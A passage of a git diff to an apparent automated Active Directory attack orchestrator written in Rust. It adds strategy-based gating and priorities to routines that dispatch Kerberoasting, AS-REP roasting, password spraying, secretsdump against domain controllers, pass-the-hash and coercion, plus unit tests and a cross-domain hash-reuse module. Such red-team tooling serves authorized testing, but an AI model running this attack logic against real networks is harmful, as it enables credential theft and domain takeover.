h.ip.clone()) - }; - - let listener = match listener_ip { - Some(ip) => ip, - None => continue, - }; - match dispatcher .request_coercion(&dc_ip, &listener, &["petitpotam", "printerbug"]) .await diff --git a/ares-cli/src/orchestrator/automation/credential_access.rs b/ares-cli/src/orchestrator/automation/credential_access.rs index 35212417..4b2043bc 100644 --- a/ares-cli/src/orchestrator/automation/credential_access.rs +++ b/ares-cli/src/orchestrator/automation/credential_access.rs @@ -31,7 +31,9 @@ pub async fn auto_credential_access( } // --- AS-REP Roast: one per domain (unauthenticated — no credentials required) --- - let asrep_work: Vec<(String, String)> = { + let asrep_work: Vec<(String, String)> = if !dispatcher.is_technique_allowed("asrep_roast") { + Vec::new() + } else { let state = dispatcher.state.read().await; state .domains @@ -56,8 +58,9 @@ pub async fn auto_credential_access( "domain": domain, }); + let priority = dispatcher.effective_priority("asrep_roast"); match dispatcher - .throttled_submit("credential_access", "credential_access", payload, 5) + .throttled_submit("credential_access", "credential_access", payload, priority) .await { Ok(Some(task_id)) => { @@ -78,59 +81,67 @@ pub async fn auto_credential_access( } // --- Kerberoast: one per domain + credential pair --- - let kerberoast_work: Vec<(String, String, String, ares_core::models::Credential)> = { - let state = dispatcher.state.read().await; - state - .credentials - .iter() - .filter(|c| !c.domain.is_empty()) - // Skip delegation accounts — Kerberoast is already done with - // other creds, and burning auth on delegation accounts risks - // lockout before S4U can use them. - .filter(|c| !state.is_delegation_account(&c.username)) - // Skip quarantined credentials — locked out, retry after expiry. - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) - .filter_map(|cred| { - let cred_domain = cred.domain.to_lowercase(); - let dedup = format!("krb:{}:{}", cred_domain, cred.username.to_lowercase()); - if state.is_processed(DEDUP_CRACK_REQUESTS, &dedup) { - return None; - } - // Exact domain match first - if let Some(dc_ip) = state.domain_controllers.get(&cred_domain).cloned() { - return Some((dedup, dc_ip, cred_domain, cred.clone())); - } - // Fallback: check child domains (e.g. cred has "contoso.local" - // but user is actually in "child.contoso.local") - let suffix = format!(".{cred_domain}"); - for (domain, dc_ip) in &state.domain_controllers { - if domain.ends_with(&suffix) { + let kerberoast_work: Vec<(String, String, String, ares_core::models::Credential)> = + if !dispatcher.is_technique_allowed("kerberoast") { + Vec::new() + } else { + let state = dispatcher.state.read().await; + state + .credentials + .iter() + .filter(|c| !c.domain.is_empty()) + // Skip delegation accounts — Kerberoast is already done with + // other creds, and burning auth on delegation accounts risks + // lockout before S4U can use them. + .filter(|c| !state.is_delegation_account(&c.username)) + // Skip quarantined credentials — locked out, retry after expiry. + .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter_map(|cred| { + let cred_domain = cred.domain.to_lowercase(); + let dedup = format!("krb:{}:{}", cred_domain, cred.username.to_lowercase()); + if state.is_processed(DEDUP_CRACK_REQUESTS, &dedup) { + return None; + } + // Exact domain match first + if let Some(dc_ip) = state.domain_controllers.get(&cred_domain).cloned() { + return Some((dedup, dc_ip, cred_domain, cred.clone())); + } + // Fallback: check child domains (e.g. cred has "contoso.local" + // but user is actually in "child.contoso.local") + let suffix = format!(".{cred_domain}"); + for (domain, dc_ip) in &state.domain_controllers { + if domain.ends_with(&suffix) { + debug!( + cred_domain = %cred_domain, + child_domain = %domain, + "Kerberoast: using child domain DC for parent-domain credential" + ); + return Some((dedup, dc_ip.clone(), domain.clone(), cred.clone())); + } + } + // Last resort: use target_ips[0] if DC map has no entry for this domain + if let Some(fallback_ip) = state.target_ips.first().cloned() { debug!( cred_domain = %cred_domain, - child_domain = %domain, - "Kerberoast: using child domain DC for parent-domain credential" + fallback_ip = %fallback_ip, + "Kerberoast: using target IP fallback (no DC in map)" ); - return Some((dedup, dc_ip.clone(), domain.clone(), cred.clone())); + return Some((dedup, fallback_ip, cred_domain, cred.clone())); } - } - // Last resort: use target_ips[0] if DC map has no entry for this domain - if let Some(fallback_ip) = state.target_ips.first().cloned() { - debug!( - cred_domain = %cred_domain, - fallback_ip = %fallback_ip, - "Kerberoast: using target IP fallback (no DC in map)" - ); - return Some((dedup, fallback_ip, cred_domain, cred.clone())); - } - None - }) - .take(2) - .collect() - }; + None + }) + .take(if dispatcher.config.strategy.is_comprehensive() { + 10 + } else { + 2 + }) + .collect() + }; for (dedup_key, dc_ip, resolved_domain, cred) in kerberoast_work { + let priority = dispatcher.effective_priority("kerberoast"); match dispatcher - .request_credential_access("kerberoast", &dc_ip, &resolved_domain, &cred, 5) + .request_credential_access("kerberoast", &dc_ip, &resolved_domain, &cred, priority) .await { Ok(Some(task_id)) => { @@ -182,7 +193,11 @@ pub async fn auto_credential_access( })?; Some((dedup, dc_ip, u.domain.clone())) }) - .take(5) + .take(if dispatcher.config.strategy.is_comprehensive() { + 20 + } else { + 5 + }) .collect() }; @@ -260,13 +275,18 @@ pub async fn auto_credential_access( .or_else(|| state.target_ips.first().cloned())?; Some((dedup, dc_ip, cred.clone())) }) - .take(2) // Max 2 per cycle + .take(if dispatcher.config.strategy.is_comprehensive() { + 10 + } else { + 2 + }) .collect() }; for (dedup_key, dc_ip, cred) in low_hanging_work { + let priority = dispatcher.effective_priority("low_hanging_fruit"); match dispatcher - .request_low_hanging_fruit(&dc_ip, &cred.domain, &cred, 4) + .request_low_hanging_fruit(&dc_ip, &cred.domain, &cred, priority) .await { Ok(Some(task_id)) => { @@ -297,72 +317,83 @@ pub async fn auto_credential_access( // failed auths that trigger AD account lockout. // Credentials may be local admin on member servers — secretsdump fails // fast if not, but when it succeeds it's the fastest path to DA. - let sd_work: Vec<(String, String, ares_core::models::Credential)> = { - let state = dispatcher.state.read().await; - - // Skip only when ALL forests are dominated - if state.has_domain_admin && state.all_forests_dominated() { + let sd_work: Vec<(String, String, ares_core::models::Credential)> = + if !dispatcher.is_technique_allowed("secretsdump") { Vec::new() } else { - let mut items = Vec::new(); - for cred in state - .credentials - .iter() - .filter(|c| !c.domain.is_empty() && !c.password.is_empty()) - // Skip delegation accounts — secretsdump will always fail - // (they're not admin) and burns auth budget needed for S4U. - .filter(|c| c.is_admin || !state.is_delegation_account(&c.username)) - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + let state = dispatcher.state.read().await; + + // Skip only when ALL forests are dominated (unless continue_after_da) + if !dispatcher.config.strategy.should_continue_after_da() + && state.has_domain_admin + && state.all_forests_dominated() { - let cred_domain = cred.domain.to_lowercase(); - for host in &state.hosts { - // Resolve host domain: prefer hostname FQDN, fall back - // to domain_controllers map for bare-IP hosts. - let host_domain = { - let from_hostname = host - .hostname - .to_lowercase() - .split_once('.') - .map(|x| x.1) - .unwrap_or("") - .to_string(); - if from_hostname.is_empty() { - // Check if this IP is a known DC - state - .domain_controllers - .iter() - .find(|(_, ip)| ip.as_str() == host.ip) - .map(|(d, _)| d.to_lowercase()) - .unwrap_or_default() - } else { - from_hostname + Vec::new() + } else { + let mut items = Vec::new(); + for cred in state + .credentials + .iter() + .filter(|c| !c.domain.is_empty() && !c.password.is_empty()) + // Skip delegation accounts — secretsdump will always fail + // (they're not admin) and burns auth budget needed for S4U. + .filter(|c| c.is_admin || !state.is_delegation_account(&c.username)) + .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + { + let cred_domain = cred.domain.to_lowercase(); + for host in &state.hosts { + // Resolve host domain: prefer hostname FQDN, fall back + // to domain_controllers map for bare-IP hosts. + let host_domain = { + let from_hostname = host + .hostname + .to_lowercase() + .split_once('.') + .map(|x| x.1) + .unwrap_or("") + .to_string(); + if from_hostname.is_empty() { + // Check if this IP is a known DC + state + .domain_controllers + .iter() + .find(|(_, ip)| ip.as_str() == host.ip) + .map(|(d, _)| d.to_lowercase()) + .unwrap_or_default() + } else { + from_hostname + } + }; + // Only target same-domain hosts. Skip unknown-domain + // hosts — they'll be retried next cycle after nmap + // populates hostnames. + if host_domain.is_empty() + || (host_domain != cred_domain + && !host_domain.ends_with(&format!(".{cred_domain}")) + && !cred_domain.ends_with(&format!(".{host_domain}"))) + { + continue; } - }; - // Only target same-domain hosts. Skip unknown-domain - // hosts — they'll be retried next cycle after nmap - // populates hostnames. - if host_domain.is_empty() - || (host_domain != cred_domain - && !host_domain.ends_with(&format!(".{cred_domain}")) - && !cred_domain.ends_with(&format!(".{host_domain}"))) - { - continue; - } - let dedup = format!( - "{}:{}:{}", - host.ip, - cred_domain, - cred.username.to_lowercase() - ); - if !state.is_processed(DEDUP_SECRETSDUMP, &dedup) { - items.push((dedup, host.ip.clone(), cred.clone())); + let dedup = format!( + "{}:{}:{}", + host.ip, + cred_domain, + cred.username.to_lowercase() + ); + if !state.is_processed(DEDUP_SECRETSDUMP, &dedup) { + items.push((dedup, host.ip.clone(), cred.clone())); + } } } + let limit = if dispatcher.config.strategy.is_comprehensive() { + 20 + } else { + 5 + }; + items.into_iter().take(limit).collect() } - items.into_iter().take(5).collect() // Max 5 per cycle - } - }; + }; for (dedup_key, target_ip, cred) in sd_work { let priority = if cred.is_admin { 2 } else { 7 }; @@ -394,53 +425,56 @@ pub async fn auto_credential_access( // --- Common password spray: per domain when no admin creds found yet --- // Keep spraying common passwords until we find admin or achieve DA. - let common_spray_work: Vec<(String, String)> = { - let state = dispatcher.state.read().await; - if (state.has_domain_admin && state.all_forests_dominated()) - || state.credentials.iter().any(|c| c.is_admin) - { - // All forests dominated or have admin creds — skip common spray + let common_spray_work: Vec<(String, String)> = + if !dispatcher.is_technique_allowed("password_spray") { Vec::new() } else { - state - .domain_controllers - .iter() - .filter(|(domain, _)| { - let key = format!("common:{}", domain.to_lowercase()); - !state.is_processed(DEDUP_PASSWORD_SPRAY, &key) - }) - // Only spray after initial recon (AS-REP) has completed. - // This prevents spraying in the first cycle when Kerberoast - // hasn't had time to collect hashes yet. - .filter(|(domain, _)| { - state.is_processed(DEDUP_ASREP_DOMAINS, domain) - || state.is_processed(DEDUP_ASREP_DOMAINS, &domain.to_lowercase()) - }) - // Only spray after delegation enumeration has dispatched for - // at least one credential in this domain. Spraying before - // delegation can lock out accounts and prevent find_delegation - // from using valid credentials. - .filter(|(domain, _)| { - let prefix = format!("{}:", domain.to_lowercase()); - state.has_processed_prefix(DEDUP_DELEGATION_CREDS, &prefix) - }) - // Skip domains with UNCRACKED Kerberoast hashes — - // offline cracking is safer (no lockout risk) and handles - // complex passwords that spray would never find. - // Once all hashes are cracked (or none exist), spray proceeds - // as a fallback path for accounts without SPNs. - .filter(|(domain, _)| { - let d = domain.to_lowercase(); - !state.hashes.iter().any(|h| { - h.hash_type.to_lowercase().contains("kerberoast") - && h.domain.to_lowercase() == d - && h.cracked_password.is_none() + let state = dispatcher.state.read().await; + if (state.has_domain_admin && state.all_forests_dominated()) + || state.credentials.iter().any(|c| c.is_admin) + { + // All forests dominated or have admin creds — skip common spray + Vec::new() + } else { + state + .domain_controllers + .iter() + .filter(|(domain, _)| { + let key = format!("common:{}", domain.to_lowercase()); + !state.is_processed(DEDUP_PASSWORD_SPRAY, &key) }) - }) - .map(|(domain, dc_ip)| (domain.clone(), dc_ip.clone())) - .collect() - } - }; + // Only spray after initial recon (AS-REP) has completed. + // This prevents spraying in the first cycle when Kerberoast + // hasn't had time to collect hashes yet. + .filter(|(domain, _)| { + state.is_processed(DEDUP_ASREP_DOMAINS, domain) + || state.is_processed(DEDUP_ASREP_DOMAINS, &domain.to_lowercase()) + }) + // Only spray after delegation enumeration has dispatched for + // at least one credential in this domain. Spraying before + // delegation can lock out accounts and prevent find_delegation + // from using valid credentials. + .filter(|(domain, _)| { + let prefix = format!("{}:", domain.to_lowercase()); + state.has_processed_prefix(DEDUP_DELEGATION_CREDS, &prefix) + }) + // Skip domains with UNCRACKED Kerberoast hashes — + // offline cracking is safer (no lockout risk) and handles + // complex passwords that spray would never find. + // Once all hashes are cracked (or none exist), spray proceeds + // as a fallback path for accounts without SPNs. + .filter(|(domain, _)| { + let d = domain.to_lowercase(); + !state.hashes.iter().any(|h| { + h.hash_type.to_lowercase().contains("kerberoast") + && h.domain.to_lowercase() == d + && h.cracked_password.is_none() + }) + }) + .map(|(domain, dc_ip)| (domain.clone(), dc_ip.clone())) + .collect() + } + }; for (domain, dc_ip) in common_spray_work { let payload = json!({ @@ -464,8 +498,9 @@ pub async fn auto_credential_access( .persist_dedup(&dispatcher.queue, DEDUP_PASSWORD_SPRAY, &key) .await; + let priority = dispatcher.effective_priority("password_spray"); match dispatcher - .throttled_submit("credential_access", "credential_access", payload, 3) + .throttled_submit("credential_access", "credential_access", payload, priority) .await { Ok(Some(task_id)) => { diff --git a/ares-cli/src/orchestrator/automation/credential_expansion.rs b/ares-cli/src/orchestrator/automation/credential_expansion.rs index a2859c5a..f228572c 100644 --- a/ares-cli/src/orchestrator/automation/credential_expansion.rs +++ b/ares-cli/src/orchestrator/automation/credential_expansion.rs @@ -151,50 +151,55 @@ pub async fn auto_credential_expansion( for item in work { let mut any_dispatched = false; - // 1. Try secretsdump on DCs FIRST — this is the highest-value op - // for a new credential. Must run before lateral movement to avoid - // burning CredentialInflight slots on lower-value tasks. + // 1. Try secretsdump on DCs FIRST (unless strategy excludes it). + // Must run before lateral movement to avoid burning + // CredentialInflight slots on lower-value tasks. // Admin creds get priority 2; non-admin get priority 3 (higher // than lateral at 5) since secretsdump is the fastest path to // krbtgt → DA → golden ticket. - for dc_ip in &item.dc_ips { - let sd_dedup = format!( - "{}:{}:{}", - dc_ip, - item.credential.domain.to_lowercase(), - item.credential.username.to_lowercase() - ); - let already_dumped = { - let state = dispatcher.state.read().await; - state.is_processed(DEDUP_SECRETSDUMP, &sd_dedup) - }; - - if !already_dumped { - let priority = if item.is_admin { 2 } else { 3 }; - if let Ok(Some(task_id)) = dispatcher - .request_secretsdump(dc_ip, &item.credential, priority) - .await - { - any_dispatched = true; - debug!( - task_id = %task_id, - dc = %dc_ip, - is_admin = item.is_admin, - "Credential secretsdump dispatched" - ); + if !dispatcher.is_technique_allowed("secretsdump") { + // Skip secretsdump dispatch entirely when strategy excludes it. + // Fall through to lateral movement and other expansion paths. + } else { + for dc_ip in &item.dc_ips { + let sd_dedup = format!( + "{}:{}:{}", + dc_ip, + item.credential.domain.to_lowercase(), + item.credential.username.to_lowercase() + ); + let already_dumped = { + let state = dispatcher.state.read().await; + state.is_processed(DEDUP_SECRETSDUMP, &sd_dedup) + }; - dispatcher - .state - .write() + if !already_dumped { + let priority = if item.is_admin { 2 } else { 3 }; + if let Ok(Some(task_id)) = dispatcher + .request_secretsdump(dc_ip, &item.credential, priority) .await - .mark_processed(DEDUP_SECRETSDUMP, sd_dedup.clone()); - let _ = dispatcher - .state - .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &sd_dedup) - .await; + { + any_dispatched = true; + debug!( + task_id = %task_id, + dc = %dc_ip, + is_admin = item.is_admin, + "Credential secretsdump dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SECRETSDUMP, sd_dedup.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &sd_dedup) + .await; + } } } - } + } // end else (secretsdump allowed) // 2. Try lateral movement on non-DC hosts (up to 5 targets). // Runs after secretsdump so the high-value op gets credential @@ -317,41 +322,47 @@ pub async fn auto_credential_expansion( let dc_ips: Vec = state.domain_controllers.values().cloned().collect(); drop(state); - for dc_ip in dc_ips { - let sd_dedup = format!( - "{}:{}:{}", - dc_ip, - item.hash.domain.to_lowercase(), - item.hash.username.to_lowercase() - ); - let already = { - let state = dispatcher.state.read().await; - state.is_processed(DEDUP_SECRETSDUMP, &sd_dedup) - }; - if !already { - if let Ok(Some(task_id)) = - dispatcher.request_secretsdump(&dc_ip, &pth_cred, 2).await - { - dc_sd_dispatched = true; - debug!( - task_id = %task_id, - dc = %dc_ip, - username = %item.hash.username, - "Hash-based secretsdump dispatched" - ); - dispatcher - .state - .write() + if !dispatcher.is_technique_allowed("secretsdump") { + // Strategy excludes secretsdump — skip hash-based expansion too. + } else { + for dc_ip in dc_ips { + let sd_dedup = format!( + "{}:{}:{}", + dc_ip, + item.hash.domain.to_lowercase(), + item.hash.username.to_lowercase() + ); + let already = { + let state = dispatcher.state.read().await; + state.is_processed(DEDUP_SECRETSDUMP, &sd_dedup) + }; + if !already { + let priority = dispatcher.effective_priority("secretsdump"); + if let Ok(Some(task_id)) = dispatcher + .request_secretsdump(&dc_ip, &pth_cred, priority) .await - .mark_processed(DEDUP_SECRETSDUMP, sd_dedup.clone()); - let _ = dispatcher - .state - .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &sd_dedup) - .await; + { + dc_sd_dispatched = true; + debug!( + task_id = %task_id, + dc = %dc_ip, + username = %item.hash.username, + "Hash-based secretsdump dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SECRETSDUMP, sd_dedup.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &sd_dedup) + .await; + } } } } - } + } // end else (secretsdump allowed for hash expansion) // Only mark as fully processed once DC secretsdump has been dispatched. // PTH lateral alone is not sufficient — the critical path is hash→DC→krbtgt. @@ -408,4 +419,410 @@ mod tests { assert!(LATERAL_TECHNIQUES.contains(&"psexec")); assert!(!LATERAL_TECHNIQUES.contains(&"evil-winrm")); } + + #[test] + fn test_netbios_domain_resolution() { + // Simulate the NetBIOS→FQDN resolution logic from the automation loop + let raw = "NORTH"; + let raw_lower = raw.to_lowercase(); + + // When netbios_to_fqdn has a mapping, use it + let mut map = std::collections::HashMap::new(); + map.insert("north".to_string(), "north.contoso.local".to_string()); + + let resolved = if !raw_lower.contains('.') { + map.get(&raw_lower) + .map(|fqdn| fqdn.to_lowercase()) + .unwrap_or(raw_lower.clone()) + } else { + raw_lower.clone() + }; + assert_eq!(resolved, "north.contoso.local"); + + // When FQDN is already used, pass through + let fqdn_raw = "contoso.local"; + let fqdn_lower = fqdn_raw.to_lowercase(); + let resolved2 = if !fqdn_lower.contains('.') { + map.get(&fqdn_lower) + .map(|fqdn| fqdn.to_lowercase()) + .unwrap_or(fqdn_lower.clone()) + } else { + fqdn_lower.clone() + }; + assert_eq!(resolved2, "contoso.local"); + + // When no mapping exists, use the raw value + let unknown = "CHILD"; + let unknown_lower = unknown.to_lowercase(); + let resolved3 = if !unknown_lower.contains('.') { + map.get(&unknown_lower) + .map(|fqdn| fqdn.to_lowercase()) + .unwrap_or(unknown_lower.clone()) + } else { + unknown_lower.clone() + }; + assert_eq!(resolved3, "child"); + } + + #[test] + fn test_domain_matching_logic() { + // Simulate the host domain matching from credential expansion + let cred_dom = "contoso.local"; + + // Same domain matches + assert!( + "contoso.local" == cred_dom + || "contoso.local".ends_with(&format!(".{cred_dom}")) + || cred_dom.ends_with(".contoso.local") + ); + + // Child domain matches (child.contoso.local matches cred for contoso.local) + let host_domain = "child.contoso.local"; + assert!( + host_domain == cred_dom + || host_domain.ends_with(&format!(".{cred_dom}")) + || cred_dom.ends_with(&format!(".{host_domain}")) + ); + + // Parent domain matches (contoso.local matches cred for child.contoso.local) + let cred_dom2 = "child.contoso.local"; + let host_domain2 = "contoso.local"; + assert!( + host_domain2 == cred_dom2 + || host_domain2.ends_with(&format!(".{cred_dom2}")) + || cred_dom2.ends_with(&format!(".{host_domain2}")) + ); + + // Cross-domain does NOT match + let other_dom = "fabrikam.local"; + assert!( + !(other_dom == cred_dom + || other_dom.ends_with(&format!(".{cred_dom}")) + || cred_dom.ends_with(&format!(".{other_dom}"))) + ); + } + + #[test] + fn test_host_domain_from_fqdn() { + // Simulate extracting domain from FQDN hostname + let hostname = "dc01.contoso.local"; + let domain = hostname + .to_lowercase() + .split_once('.') + .map(|x| x.1) + .unwrap_or("") + .to_string(); + assert_eq!(domain, "contoso.local"); + + // Child domain host + let hostname2 = "dc02.child.contoso.local"; + let domain2 = hostname2 + .to_lowercase() + .split_once('.') + .map(|x| x.1) + .unwrap_or("") + .to_string(); + assert_eq!(domain2, "child.contoso.local"); + + // Short hostname (no domain) + let hostname3 = "dc01"; + let domain3 = hostname3 + .to_lowercase() + .split_once('.') + .map(|x| x.1) + .unwrap_or("") + .to_string(); + assert_eq!(domain3, ""); + } + + #[test] + fn test_hash_expansion_dedup_key() { + // Test the dedup key format for hash-based expansion + let domain = "contoso.local"; + let username = "Administrator"; + let hash_value = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"; + let dedup = format!( + "{}:{}:{}", + domain.to_lowercase(), + username.to_lowercase(), + &hash_value[..32.min(hash_value.len())] + ); + assert_eq!( + dedup, + "contoso.local:administrator:aad3b435b51404eeaad3b435b51404ee" + ); + } + + #[test] + fn test_pth_credential_building() { + // Verify that pass-the-hash builds the credential with hash_value as password + let hash = ares_core::models::Hash { + id: "hash-1".to_string(), + username: "jdoe".to_string(), + hash_value: "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + .to_string(), + hash_type: "ntlm".to_string(), + domain: "contoso.local".to_string(), + cracked_password: None, + source: "secretsdump".to_string(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + }; + let pth_cred = ares_core::models::Credential { + id: format!("pth_{}", hash.username), + username: hash.username.clone(), + password: hash.hash_value.clone(), + domain: hash.domain.clone(), + source: "hash_pth".to_string(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }; + assert_eq!(pth_cred.id, "pth_jdoe"); + assert_eq!(pth_cred.username, "jdoe"); + assert_eq!( + pth_cred.password, + "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + ); + assert_eq!(pth_cred.domain, "contoso.local"); + assert_eq!(pth_cred.source, "hash_pth"); + assert!(!pth_cred.is_admin); + } + + #[test] + fn test_hash_filter_ntlm_only() { + // Only NTLM hashes pass the filter; aes/des/lm should be excluded + let hashes = [ + ( + "ntlm", + "contoso.local", + "admin", + "aad3b435b51404eeaad3b435b51404ee", + ), + ( + "NTLM", + "contoso.local", + "user1", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + ), + ("aes256", "contoso.local", "user2", "cccccccc"), + ("lm", "contoso.local", "user3", "dddddddd"), + ]; + let filtered: Vec<_> = hashes + .iter() + .filter(|(ht, domain, username, _)| { + ht.to_lowercase() == "ntlm" + && !domain.is_empty() + && username.to_lowercase() != "krbtgt" + && !username.ends_with('$') + }) + .collect(); + assert_eq!(filtered.len(), 2); + assert_eq!(filtered[0].2, "admin"); + assert_eq!(filtered[1].2, "user1"); + } + + #[test] + fn test_hash_filter_excludes_krbtgt() { + // krbtgt hashes are excluded from pass-the-hash (used for golden tickets, not PtH) + let username = "krbtgt"; + let passes = username.to_lowercase() != "krbtgt" && !username.ends_with('$'); + assert!(!passes, "krbtgt should be excluded from hash-based lateral"); + } + + #[test] + fn test_hash_filter_excludes_machine_accounts() { + // Machine accounts (ending with $) are excluded from pass-the-hash + let usernames = vec!["DC01$", "SQL01$", "WEB01$"]; + for u in usernames { + assert!( + u.ends_with('$'), + "{u} should be detected as machine account" + ); + let passes = u.to_lowercase() != "krbtgt" && !u.ends_with('$'); + assert!(!passes, "{u} should be excluded from hash expansion"); + } + } + + #[test] + fn test_hash_filter_allows_normal_users() { + // Normal users should pass the hash filter + let usernames = vec!["administrator", "jdoe", "svc_sql"]; + for u in usernames { + let passes = u.to_lowercase() != "krbtgt" && !u.ends_with('$'); + assert!(passes, "{u} should pass the hash filter"); + } + } + + #[test] + fn test_secretsdump_dedup_key_format() { + // secretsdump dedup: dc_ip:domain:username + let dc_ip = "192.168.58.10"; + let domain = "CONTOSO.LOCAL"; + let username = "Administrator"; + let sd_dedup = format!( + "{}:{}:{}", + dc_ip, + domain.to_lowercase(), + username.to_lowercase() + ); + assert_eq!(sd_dedup, "192.168.58.10:contoso.local:administrator"); + } + + #[test] + fn test_secretsdump_dedup_different_dcs_are_unique() { + // Same credential against different DCs should produce different dedup keys + let domain = "contoso.local"; + let username = "admin"; + let dedup1 = format!("192.168.58.10:{domain}:{username}"); + let dedup2 = format!("192.168.58.20:{domain}:{username}"); + assert_ne!(dedup1, dedup2); + } + + #[test] + fn test_credential_expansion_dedup_key_format() { + // Expansion dedup: domain:username + let domain = "CONTOSO.LOCAL"; + let username = "JDoe"; + let dedup = format!("{}:{}", domain.to_lowercase(), username.to_lowercase()); + assert_eq!(dedup, "contoso.local:jdoe"); + } + + #[test] + fn test_credential_filter_empty_domain_excluded() { + // Credentials with empty domain are excluded + let creds = [ + ("user1", "P@ss", "contoso.local"), + ("user2", "P@ss", ""), + ("user3", "P@ss", "fabrikam.local"), + ]; + let filtered: Vec<_> = creds + .iter() + .filter(|(_, _, domain)| !domain.is_empty()) + .collect(); + assert_eq!(filtered.len(), 2); + assert_eq!(filtered[0].0, "user1"); + assert_eq!(filtered[1].0, "user3"); + } + + #[test] + fn test_credential_filter_empty_password_excluded() { + // Credentials with empty password are excluded + let creds = [ + ("user1", "P@ssw0rd!", "contoso.local"), // pragma: allowlist secret + ("user2", "", "contoso.local"), + ("user3", "Secret123", "fabrikam.local"), // pragma: allowlist secret + ]; + let filtered: Vec<_> = creds + .iter() + .filter(|(_, password, _)| !password.is_empty()) + .collect(); + assert_eq!(filtered.len(), 2); + assert_eq!(filtered[0].0, "user1"); + assert_eq!(filtered[1].0, "user3"); + } + + #[test] + fn test_target_filtering_owned_hosts_excluded() { + // Only non-owned hosts are targeted for lateral movement + let hosts = [ + ("192.168.58.10", true), // owned - should be excluded + ("192.168.58.20", false), // not owned - should be included + ("192.168.58.30", false), // not owned - should be included + ("192.168.58.40", true), // owned - should be excluded + ]; + let targets: Vec<_> = hosts.iter().filter(|(_, owned)| !owned).collect(); + assert_eq!(targets.len(), 2); + assert_eq!(targets[0].0, "192.168.58.20"); + assert_eq!(targets[1].0, "192.168.58.30"); + } + + #[test] + fn test_netbios_resolution_uppercase_fallback() { + // When lowercase lookup fails, try uppercase + let mut map = std::collections::HashMap::new(); + map.insert("CONTOSO".to_string(), "contoso.local".to_string()); + + let raw = "contoso"; + let raw_lower = raw.to_lowercase(); + let raw_upper = raw.to_uppercase(); + + let resolved = if !raw_lower.contains('.') { + map.get(&raw_lower) + .or_else(|| map.get(&raw_upper)) + .map(|fqdn| fqdn.to_lowercase()) + .unwrap_or(raw_lower.clone()) + } else { + raw_lower.clone() + }; + assert_eq!(resolved, "contoso.local"); + } + + #[test] + fn test_domain_matching_empty_host_domain_rejected() { + // Hosts with empty domain should not match any credential domain + let host_domain = ""; + let cred_dom = "contoso.local"; + let matches = !host_domain.is_empty() + && (host_domain == cred_dom + || host_domain.ends_with(&format!(".{cred_dom}")) + || cred_dom.ends_with(&format!(".{host_domain}"))); + assert!(!matches, "Empty host domain should never match"); + } + + #[test] + fn test_domain_matching_sibling_domains_rejected() { + // Sibling child domains should NOT match each other + let cred_dom = "child1.contoso.local"; + let host_domain = "child2.contoso.local"; + let matches = host_domain == cred_dom + || host_domain.ends_with(&format!(".{cred_dom}")) + || cred_dom.ends_with(&format!(".{host_domain}")); + assert!( + !matches, + "Sibling child domains should not match each other" + ); + } + + #[test] + fn test_hash_dedup_truncates_to_32_chars() { + // Hash dedup uses first 32 chars of hash_value + let short_hash = "aabbccdd"; + let long_hash = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"; + + let truncated_short = &short_hash[..32.min(short_hash.len())]; + assert_eq!(truncated_short, "aabbccdd"); // short hash kept as-is + + let truncated_long = &long_hash[..32.min(long_hash.len())]; + assert_eq!(truncated_long, "aad3b435b51404eeaad3b435b51404ee"); + } + + #[test] + fn test_host_domain_from_bare_ip_falls_back_to_dc_map() { + // When hostname has no domain suffix, fall back to domain_controllers map + let hostname = "192.168.58.10"; // bare IP, no FQDN + let from_hostname = hostname + .to_lowercase() + .split_once('.') + .map(|x| x.1) + .unwrap_or("") + .to_string(); + // For an IP, split_once('.') gives "168.58.10" — not empty but not a valid domain. + // The real code checks domain_controllers map for IP-based fallback. + // Here we just verify the hostname parsing returns something unusable for IPs. + assert_eq!(from_hostname, "168.58.10"); + + // A bare hostname without dots returns empty + let hostname2 = "dc01"; + let from_hostname2 = hostname2 + .to_lowercase() + .split_once('.') + .map(|x| x.1) + .unwrap_or("") + .to_string(); + assert_eq!(from_hostname2, ""); + } } diff --git a/ares-cli/src/orchestrator/automation/credential_reuse.rs b/ares-cli/src/orchestrator/automation/credential_reuse.rs new file mode 100644 index 00000000..94559c7c --- /dev/null +++ b/ares-cli/src/orchestrator/automation/credential_reuse.rs @@ -0,0 +1,157 @@ +//! auto_credential_reuse -- cross-domain hash reuse after NTDS dumps. +//! +//! After any secretsdump extracts NTLM hashes, tries those hashes against DCs +//! in OTHER domains. Catches the common pattern where service accounts or +//! built-in accounts (e.g. `localuser`) share passwords across domains/forests. +//! +//! This is distinct from `auto_local_admin_secretsdump` which only targets +//! same-domain and parent-domain DCs. + +use std::sync::Arc; +use std::time::Duration; + +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; + +/// Dedup key namespace for cross-domain reuse attempts. +const DEDUP_CROSS_REUSE: &str = "cross_reuse"; + +/// Cross-domain credential reuse automation. +/// Interval: 30s. Tries hashes from dominated domains against other forests' DCs. +pub async fn auto_credential_reuse( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + // Wait for initial recon to populate state + tokio::time::sleep(Duration::from_secs(60)).await; + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + // Only fire if the technique is allowed + if 